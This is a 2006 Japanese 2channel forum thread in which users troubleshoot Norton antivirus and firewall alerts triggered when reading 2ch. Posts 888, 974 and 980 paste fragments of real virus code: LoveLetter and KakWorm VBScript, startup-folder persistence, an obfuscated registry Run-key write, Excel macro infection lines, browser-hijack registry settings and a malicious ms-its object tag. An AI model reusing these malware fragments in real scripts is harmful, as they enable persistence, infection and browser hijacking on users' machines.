2006/06/01(木) 23:12:19ID:2pQl8VUp0
誤作動ばかり起こるセキュリソフトを使い続ける人の気が知れねwwww
864動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/02(金) 18:24:12ID:1Oq2QSVQ0
やっとここにたどり着いた。
昨日206.223.152.55に攻撃されたのはノートンのせいってこと?
何度も攻撃されてびびったよ誰か教えて。
2006/06/02(金) 18:38:48ID:NpghiVKc0
スレ嫁
2006/06/02(金) 19:43:52ID:ep2eE5W+0
>昨日206.223.152.55に攻撃された

なんで2ちゃんのサーバーがお前を攻撃するんだ?

206.223.152.55 = tiger508.maido3.com = life7.2ch.net

自己紹介 夢・独り言 生活サロン 生活全般 その日暮らし 一人暮らし 借金生活
スポーツクラブ 記念日 冠婚葬祭 育児 家具 モデル ファッション 靴 化粧 美容 美容整形
一般海外生活 北米海外生活 クレジット 家庭 懸賞 たばこ めがね マイライン コンビニ バーゲン  
ヒッキー メンヘルサロン 癒し 人生相談 心と宗教 身体・健康 アトピー アレルギー ハゲ・ズラ メンタルヘルス
2006/06/03(土) 03:49:37ID:qO8E/tC30
今度はニュー速VIPで反応アリ
868動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/03(土) 22:12:48ID:zqZmttpa0
ノートンアンチウイルス2005の場合、設定はどうやったらいいのでしょうか?
エロイ人教えて
869868
垢版 |
2006/06/03(土) 22:22:47ID:zqZmttpa0
自己解決しました。すみません。
2006/06/03(土) 22:24:31ID:LY3W2bvD0
正直、>>756 をやってもダメなんですけど。当方NAV2005でつ
2006/06/03(土) 22:25:52ID:DxNpP3Vi0
つアンインストール
872動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/03(土) 23:06:24ID:uTPZaxbS0
test
2006/06/03(土) 23:14:47ID:6/4mWnRt0
>>870
駄目と言われても誰もわかりませんよ
とりあえず↓スレ参照

【ノートン入れたら2chに書きこめない】人へ18
http://etc3.2ch.net/test/read.cgi/qa/1112631967/
874870
垢版 |
2006/06/03(土) 23:38:39ID:LY3W2bvD0
書き込まず読み込むだけで
インターネットワーム防止→AutoBlockルール
にその板の2ちゃんアドレスが書き込まれます

もちろん「侵入を検知して遮断しました」と言われるわけですが


「HTTP MSIE JavaScript OnLoad Rte CodeExec」のチェックを外せば
読み込めますが、うざすぎ
2006/06/03(土) 23:59:49ID:Tf6RMRqV0
へぇ
876動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/04(日) 09:39:07ID:SyplLNft0
ノートン捨てた。ソースネクストにした。良かった。
2006/06/04(日) 14:25:49ID:ulPUqLMg0
それならノートンのほうがいいや・・・
878動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/04(日) 18:29:34ID:Aq/eJAZS0
http://ex14.2ch.net/test/read.cgi/news4vip/1149259013/596
貼ったやつ許さん
2006/06/04(日) 18:31:39ID:vfmNhEc80
ああそうですか
880動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/04(日) 22:55:29ID:zBN5dg8i0
つーか、誤動作というより2ch管理人が
HTTP MSIE JavaScript OnLoad Rte CodeExec送信してアクセス妨害しているだけだし

ノートン入れられると2chにとって都合の悪い利用者のハッキングができないから
どーしてもノートンを外させたいらしいね
2006/06/04(日) 23:02:42ID:aeg9gYwT0
確かに、そうした穿った見方もできるよな。
みんな、気にしてるぜ。
2006/06/05(月) 11:14:26ID:9IAVDNee0
>>835
表示されたファイルをAuto−Protectの除外リストに加える。
シマンテック
ttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
2006/06/05(月) 12:37:28ID:w5Z9ZhjV0
>>882
こんなの調べればすぐ分かることだし
一月も前のレスに、わざわざレスしなくても・・・
884882
垢版 |
2006/06/05(月) 12:47:48ID:9IAVDNee0
>>883
貴重なご意見ありがとうございます。
今後の参考にさせていただきます。
2006/06/08(木) 03:25:45ID:R7v+AqOy0
p + w * 10 <br> End Sub <br>
LOVE-LETTER-FOR-YOU

2006/06/08(木) 03:33:26ID:wYsJAMnK0
>885
2006/06/08(木) 11:30:26ID:G2tI2Iz00
>>885氏ね
888動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/10(土) 14:13:07ID:B1kyHaxf0
//<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

これってNIS2003でどう対処すればいいですかね
ttp://mickey.mirv.net/2chnis.html とかもやってみたけど効果なかった。
2006/06/10(土) 14:37:07ID:vbM5yPaN0
2ちゃんねるWiki
http://info.2ch.net/wiki/pukiwiki.php?%A3%B2%A4%C1%A4%E3%A4%F3%A4%CD%A4%EBWiki
ノートン入れたら2chに書きこめない人へ
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
2006/06/11(日) 03:53:47ID:XJQqHlFB0
ウィルスコードをカキコミできないようにはでけへんの?
891動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/11(日) 03:59:21ID:NXtyf/QL0
むしろウイルスコード貼ったヤツは強制フシアナになるようにすればいいんだよ。
どこの誰がやっているか一発でわかるしww
2006/06/11(日) 04:58:50ID:IH6KKuT50
>>890-891
>>167
893動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/11(日) 05:18:57ID:YJ3RbPRP0
>>890-891
↓ウイルスコードを貼って、マッチ&ポンプでノートンなどを叩いている犯人の一人の紹介スレ。


(アンチウイルスNOD32厨とインテル厨とペストパトロール厨を兼ねている)
http://tmp6.2ch.net/test/read.cgi/tubo/1145644897/
http://66.102.7.104/search?q=cache:yFC7aJM6xCgJ:l-lab.org/pukiwiki/pukiwiki.php
http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
http://pc8.2ch.net/test/read.cgi/pcnews/1132667241/
http://science3.2ch.net/test/read.cgi/infosys/1088029040/
過去に確認されたリモホ
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp
acca.osaka.ocn.ne.jp
ppp.prin.ne.jp(PHS)
2006/06/11(日) 09:18:29ID:XJQqHlFB0
なるほど。そうか。
895動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/11(日) 10:41:08ID:bxlw8H2ZO
いまさらウイルスコードでギャーギャー騒ぐ奴ってなんなの?


馬鹿なの?
2006/06/11(日) 11:04:16ID:kCdGgTME0
そのたびにログが壊れて取得できなくなるんだよ。
2006/06/11(日) 11:05:17ID:0dxm5UPT0
やっぱり馬鹿なのか
2006/06/11(日) 13:11:01ID:OGt9xJAc0
今日ちょうどギャーギャー騒いでる奴見かけたところだw

642 名前:名無しさん@ゴーゴーゴーゴー! [sage] 投稿日:2006/06/11(日) 03:26:36 ID:aqYcE6Jh
だれだ最近、避難所にウイルスコード貼る奴。
専ブラがおかしくなって、そのたびに削除→ダウンロードしなおし→お気に入り登録しなおし、すごい手間、めちゃくちゃ迷惑。

643 名前:名無しさん@ゴーゴーゴーゴー! [sage] 投稿日:2006/06/11(日) 07:23:59 ID:QvemZE+C
>>642
それって難民フォルダーにあるsubject.txt(専ブラによって名称違うかも)を上書きするだけで直るよ
2006/06/16(金) 20:41:44ID:tczL/e+Q0
ログ除外してるのに、進入検知だか遮断とか出て更新不能になる

張ってる奴もノー豚も氏ね
2006/06/17(土) 01:22:47ID:FZipgKGn0
>>899
>>842やってみるよろし
901動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/17(土) 01:58:39ID:KdVQpFu60
Norton使わなきゃいいだけの話なのに
何でこんなに盛り上がってんの?

Symantecがクソなだけだろ。
2chがそこまで面倒見る必要ないよ。
2006/06/17(土) 02:10:57ID:c15+vmjg0
             _,..--‐‐‐‐‐-...,_    
           /:::::::::::::::::::::::::::::::::::'.,    
          /:::::::::::::::::::::::::::::::::::::::::::::::..    
          i,  NOD32厨   ::::::::::::, 
          ゝ  /'  '\    :::::::::::'
           . -・=-, 、-・=-  ::::::::::;'     
           |  .,ノ(・ ・ ( ⌒  ::6)      
           .l ┃トョヨコイ┃  .ソ  < Norton使わなきゃいいだけの話なのに   
           ヽ┃`ニ'´ ┃ ,.i-、  
             ,`~,'i' "~ /  ,>"'-、  
2006/06/17(土) 09:51:13ID:a2oDHUSl0
ここずっと芸スポにかたっぱしから貼りまくってる奴どうにかして…
2006/06/17(土) 10:47:26ID:onPqOEDq0
>>903
>>871
2006/06/17(土) 15:56:22ID:EMvOI56c0
windowsを最新にして、ひとつのルールを除外するだけで解決するのにな・・・
NGNG
それがどんなに素晴らしいソフトでも、厨が推奨するソフトは糞。
NGNG
まぁ、私の場合は

NAVが反応→NAVのオプションから
インターネットワーム防止>AutoBlockルール>全ての遮断を解除
して、インターネットワーム防止を解除(警告が出るので、OKを押しておく)
→2chブラウザのログを取得して、ウィルスコードの部分をローカルあぼーん

で、難なくNAVを使っているわけだが。
NGNG
>>907
言い忘れたが、インターネットワーム防止を復帰させるのを忘れずに。
#放っておいても、15分で自動復帰するが。
2006/06/17(土) 23:09:16ID:eifR12gn0
kwsk
NGNG
>>909
NAVが反応→2ch鯖が遮断
              ↓
NAVを起動して、オプションにアクセス。インターネットワーム防止をクリック
              ↓
AutoBlockルールをクリックして、全ての遮断を解除をクリック
              ↓
インターネットワーム防止をオンにするのチェックを外す>OKを押す
              ↓
保護の警告ダイヤログが出る。
停止時間を15分、1時間、5時間、システム再起動まで、永久的から選択可能。
OKを押すとインターネットワーム防止機能が停止。
              ↓
ログを取得して、ウィルスコードが書かれたレスを
2chブラウザのローカルあぼーん機能で削除する。
#ブラウザ上あぼーんでも、取得したdatには残るソフトでは駄目かも。
              ↓
インターネットワーム防止機能を復帰させる。
NGNG
>>910は、NAV2006の場合ね。
2006/06/18(日) 01:59:16ID:KtKK/xzI0
わからない五大理由改

<ノートントラップにかかる六大理由>
1. 読まない ・・・対処法は書いてあるのに読まない。読む気などさらさらない。
2. 調べない ・・・過去スレ、ググるなど最低限の内容も自分で調べようとしない。
3. 試さない ・・・めんどくさいなどの理由で実行しない。する気もない。
4. 理解力が足りない ・・・理解力以前の問題で理解しようとしない。
5. 人を利用することしか頭にない ・・・甘え根性でその場を乗り切ろうとする。
6. それでもノートンを使う ・・・上記に該当するのに、誤作動を仕様と言って直さない糞ソフトに大事なお金を垂れ流す。
2006/06/18(日) 10:51:13ID:L87SGZAT0
>>910
2003にはないや。orz
dですた。
2006/06/18(日) 11:43:16ID:6mehq8cj0
>912
>5. 人を利用することしか頭にない ・・・甘え根性でその場を乗り切ろうとする。

それを世間一般では、『 要領がいい 』又は『 狡い 』という。
912は、要領の悪い世間知らずのヒッキーか?

2006/06/18(日) 13:19:15ID:XZEJdYVF0
現在回避できないノートントラップなどあるでしょうか?
特にノートンじゃなくても良いのですが、他の不具合が出るとか、
ありますでしょうか。

私は早々にノートンから他のセキュリティー製品に切り替えてしまったので、その辺りが解らないので質問させていただきました。。
916動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/19(月) 10:42:39ID:V5zd1Xkf0
アバストも駄目
2006/06/19(月) 22:28:12ID:kd+t+0Cf0
>>915
ノートンについては対策全部やってれば特にないよ。
他のは使ってないのでわかんない。
918動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/19(月) 23:36:55ID:1dSp2Mu/0
>>912
ノートンを誤作動とか言ってる時点でわかってないじゃない
919動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/21(水) 23:07:21ID:N0YkyuI90
NIS2006なんだけど対策教えて下さい
2006/06/21(水) 23:16:11ID:W4udodec0
スレ読めない奴に教えようがない
921動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/22(木) 08:01:45ID:z+Bj6crv0
>>920
一応レス後半やまとめサイトの2005のをやった後に一時的によくなったんですが
ダメな板はダメで、その後>>13とかやったんですけどはじかれちゃうんですよ。
他にありませんかね。
30分待てば又スレ読めますので教えてください
2006/06/22(木) 10:50:40ID:TVR/RmM30
もー うぜーよコード
2006/06/22(木) 11:55:44ID:DDn4hO0A0
>>921-922
>>729
2006/06/22(木) 12:50:25ID:6wncEhQn0
専ブラ読み込むたびにノートンの警告でるの止めたいのですが
2006/06/22(木) 15:01:47ID:b5m4Lmir0
あきたー
2006/06/22(木) 15:09:40ID:oHaxFJOW0
>>924
止めればいいじゃん
2006/06/23(金) 08:19:53ID:M0jLSZCw0
コード書いてる人は販促に必死なんですよとw
2006/06/23(金) 19:48:23ID:AL1OlihM0
>>917 さん
返信ありがとうございます、参考にさせていただきます。

>>916 さん
情報ありがとうございます
アバストについては自分で調べてみます。
929915-928
垢版 |
2006/06/24(土) 08:42:08ID:2lOlEW2f0
928の後、調べたところ、
アバストも設定で回避できるということがわかりました、
ノートンも確認済み。

(微妙にすれ違い失礼しました。)
930動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/25(日) 19:10:33ID:nPZXTUgCO
コードの野郎どこにありやがる
2006/06/25(日) 19:23:07ID:UGUuM4ki0
ちと
2006/06/25(日) 19:25:22ID:UGUuM4ki0
2006/06/25(日) 19:27:52ID:UGUuM4ki0
2006/06/25(日) 19:30:03ID:UGUuM4ki0
礼、だな
2006/06/25(日) 19:32:09ID:UGUuM4ki0
じゃ
936動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/25(日) 20:40:15ID:qn/6XT870
NIS2005の場合(多分NIS2006も同じ)
タスクトレイのNISアイコンを左クリック>「Norton Internet Securityを開く」
NISが開いたら、左側の一覧から「Norton Internet Security」を選ぶ
システムの状態一覧から「ファイアーウォール」を選ぶ
左下にある「設定」ボタンを選ぶ
「ネットワーク」タブを選ぶ
「信頼」タブを選ぶ
「追加」を選ぶ
「個別」を選ぶ
アドレスに以下の数字の塊を一行でコピペする   ← ここで、コピペができません。どうしたらいいですか?



2006/06/25(日) 20:42:43ID:nCHkLwhQ0
どうせ右クリ効かないとかだろ
初心者板行けと言いたいところだがctrl+v
938動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/25(日) 20:45:26ID:qn/6XT870
>>937
できました。 ありがとうございました。
939動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/26(月) 23:19:03ID:04A0pu1O0
とあるスレ一覧更新したら「WScript.KakWorm」の警告がでます
どうやって誤検知除外したらいいのでしょうか?
940動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/27(火) 09:46:13ID:uiyLh7K90
つーか、例の構文貼られても遮断しなくなった。
ノートン側が折れて対応したって事なのか?
2006/06/27(火) 13:32:56ID:uiyLh7K90
早とちり。しっかり遮断されますた。

NIS2006はIPリスト入力にコピペが使用できない糞仕様だから
http://mickey.mirv.net/2chnis.html
のIPリストを
http://www.vector.co.jp/soft/win95/util/se203480.html
でぶち込むのが楽。
2006/06/27(火) 14:03:31ID:XeZBA28+0
コピ Ctrl + C
ペ  Ctrl + V
2006/06/27(火) 19:16:53ID:BSUxyp6W0
ノーdを使うには10年早かったようです
944ベースボール
垢版 |
2006/06/27(火) 23:48:05ID:1VQnoBRk0
ノーd使うころには てめえら死んでんだろ
945動け動けウゴウゴ2ちゃんねる
垢版 |
2006/06/30(金) 05:12:55ID:uE8DR0NH0
⊂二二二( ^ω^)二⊃ブーン
946動け動けウゴウゴ2ちゃんねる
垢版 |
2006/07/01(土) 17:16:01ID:NsDJ2PXW0
ttp://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
のノートン緊急対策を見て、アドレスに大量のIPアドレスを貼って、これで大丈夫だと思ったら、
芸スポの中田のスレで、またウィルス貼られてるし。
でも前と違って、他のスレは全部すぐ読める。前は30分遮断されたけど。
これは別の種類のなんちゃってウィルスかな?もうどうしたらいいかわからん。
次々といろんなコード貼るから、疲れる・・・
2006/07/01(土) 22:26:46ID:nhdTqzQc0
さっきから同じファイルばっかり表示して感染してる感染してるってノートンが騒いで
ます。まじめにうざいので黙らせる方法を教えてください。
2006/07/01(土) 22:29:18ID:WnHkNvmn0
投げs
2006/07/01(土) 22:40:44ID:nhdTqzQc0
そういえば。この間延長キーを購入したんですが、支払って二週間たっても延長キー
とやらが添付されたメールが届かないんですよ。ウイルスバスターとかも
こんなもんなの?
2006/07/01(土) 23:27:31ID:p7Wa9d7a0
>>910
すみません。便乗質問になってしまいますが。

最近NAV2004からNIS2006に切り替えたので、>>910 の設定を見かけて
ついでにやっておこうと思ったのですが、
「インターネットワーム防止」と言う項目が見つかりません。
これはNAVパッケージにしかない項目なのでしょうか。
NISの場合は何処を設定すると良いのでしょうか。
2006/07/01(土) 23:40:32ID:zSabBSVw0
ログ読めばわかるだろ
2006/07/01(土) 23:44:51ID:/zxCsbBj0
>>950
つ【NISでスレ内検索】
2006/07/01(土) 23:56:56ID:p7Wa9d7a0
>>951,952

ありがとうございます。
「インターネットワーム防止」だけで検索していたのでは見つかりませんね。
「NIS」検索で見つかりました。
>>842の方法で、つまりNISでは「インターネットワーム防止」を設定ではなくて、
http://mickey.mirv.net/2chnis.html のIP一覧を追加する、ですね。
2006/07/03(月) 02:04:02ID:X5vltHrw0
NGワードに追加してもNGワードの.txtが削除される・・・
2006/07/03(月) 22:00:11ID:QJ8Rl2YW0
専用ブラウザのフォルダ丸ごと監視対象から外す、これ最短。
2006/07/04(火) 12:44:52ID:/aiYUDG40
>>1と同じ状態になってるんだけどどうすればいいの・・・
2006/07/04(火) 13:19:50ID:iJitU0Ia0
>>956
1.このスレを最初から読む
2.Nortonの使用をやめる
お好きな方をどうぞ
958御法川将貴
垢版 |
2006/07/04(火) 23:58:50ID:b4n0I43F0
名無しさんの助言は 今すぐ立ち去れ
959御法川将貴
垢版 |
2006/07/05(水) 21:12:56ID:UnaLYAnA0
変態熊本県民が 万引きしたぞー
2006/07/08(土) 10:08:59ID:VMXk0zCF0
ためしにNAVの設定元に戻してみたら
引っかからなくなってるような。(<body onload=w****w()>)
シマンテックが対策した?
NISはもってないからわからんけど。
2006/07/08(土) 13:54:58ID:fDcr40eH0
その書き込み何度みたことか・・・
2006/07/08(土) 14:33:46ID:pNlbLtYF0
その都度自分で試して設定やりなおす俺
963960
垢版 |
2006/07/09(日) 00:04:04ID:1L5D8Za90
vbsウイルスのソースじゃなくて侵入を検出して遮断しました、の
やつだよ。
2006/07/09(日) 05:10:45ID:GupgbQi90
>>963
してないよ
2006/07/09(日) 05:25:13ID:t51lbUR70
>>963
このウソツキ!!
966動け動けウゴウゴ2ちゃんねる
垢版 |
2006/07/09(日) 09:18:36ID:HhYehN6h0
もう頭悪いからノーdの設定ができない。
自分の常連のスレ片っ端から張られてギコだめだし、
IEで見るようになった。
もう更新やめて別のアンチウィルスソフトにするかな。
それまで我慢してだ。
でもシマンテックの客が減るよな〜。
967960
垢版 |
2006/07/09(日) 09:34:50ID:1L5D8Za90
>>965
ってか
このスレは侵入を検出して遮断しました用のスレだと思ってた。
vbsウイルスのソースに誤反応、のスレは他にあるし。。
968960
垢版 |
2006/07/09(日) 09:58:03ID:1L5D8Za90
あ、レス読み違えたスマソ
うちでは何故かnavの設定戻して一度も開いたことないスレのログ取ってみても再現しない。
nav2005です。vbsウイルス用のフォルダ除外の設定はそのまま。
2006/07/09(日) 11:57:57ID:kh5GFJWj0
>>968
だってNAVが誤反応してるわけじゃないもの。
侵入検知はファイアーウォールのお仕事でしょ。
970960
垢版 |
2006/07/09(日) 14:37:40ID:1L5D8Za90
>>969
>>687以降参照。
NISだけの現象なら始めからこのスレにくることもなかったわけだが。。
2006/07/09(日) 14:39:36ID:t51lbUR70
まあとにかくNIS2004だと相変わらず反応するわけだ
972960
垢版 |
2006/07/09(日) 15:08:39ID:1L5D8Za90
>>971 レスthx
ログビューアみてたらワーム検出の監視ログが変なのに気づいた。

詳細: インターネットワーム保護が 0 個のシグネチャを監視しています。

になってる。全部監視OFF状態になってすり抜けてるだけかも。
確実にインターネットワーム防止をチェックしてるんだけど。。
とりあえずHTTP MSIE JavaScript OnLoad Rte CodeExecのみチェック外した状態なら

詳細: インターネットワーム保護が 568 個のシグネチャを監視しています。

になるようなのでそうしておきます。
973960
垢版 |
2006/07/09(日) 15:36:17ID:1L5D8Za90
連投すまそ、
いろいろいじっても 0 個のシグネチャを監視していますから変わらなくなってしまった
こんなことに時間割くのは無駄だし更新サービス買うのはやめようと思います・・・orz
2006/07/09(日) 19:43:03ID:xL1TwppA0
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???
975動け動けウゴウゴ2ちゃんねる
垢版 |
2006/07/11(火) 20:28:47ID:ic76RAqx0
今まで>>974みたいのを専ブラでNGワードに指定していたら、
難なく見ることができていました。
ところが、なぜか今は見られません。
現在も専ブラ上ではアボーソされているのですが、やっぱり見ることができません。
何かあったのでしょうか?
やっぱり誤作動なのでしょうか?

ちなみに今はノートンを無効にしています。
2006/07/12(水) 02:08:08ID:YkmmZvA40
専ブラったっていろいろあるから
NGワードの処理の仕方も同じじゃない
2006/07/12(水) 09:33:42ID:UPljDXSZ0
専ブラは変えてないなら
誤作動する文字列の種類が違うんでしょう。
おおまかに分けると誤反応には現状3種類ある(含シリア語ブラクラ)
2006/07/12(水) 18:52:17ID:KcXuCgUg0
シリア語ブラクラでノートンが誤反応するのか??
979977
垢版 |
2006/07/12(水) 20:53:52ID:UPljDXSZ0
ごめん、シリア語ブラクラはノートンとは関係ないね。
最近ノートントラップと一緒に貼ってあったりするので混同してしまった。
2006/07/16(日) 22:37:21ID:ofCNhrjG0
t2.WriteLine('"Search Bar"="http://www.jethomepage.com/search.htm";');
t2.WriteLine('"Default_Search_URL"="http://www.jethomepage.com/search.htm";');
t2.WriteLine('"Search Page"="http://www.jethomepage.com/search.htm";');

strMsg= " ) (" & vbcrlf
strMsg= strMsg & "( ) ( ) " & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " -------------------------" & vbcrlf
strMsg= strMsg & " / ( ( ( /\" & vbcrlf
strMsg= strMsg & " / ( / \" & vbcrlf
strMsg= strMsg & " / ( ( / \" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf
strMsg= strMsg & " | --- | |" & vbcrlf
strMsg= strMsg & " | ----- | | | |" & vbcrlf
strMsg= strMsg & " | | | --- | |" & vbcrlf
strMsg= strMsg & " | | | | |" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf


strMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlf
strMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlf
strMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlf
strMsg= strMsg & "I didn't do that because I am a peace-loving citizen."
2006/07/19(水) 12:50:11ID:7373/lmb0
 
レス数が950を超えています。1000を超えると書き込みができなくなります。
5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。

ニューススポーツなんでも実況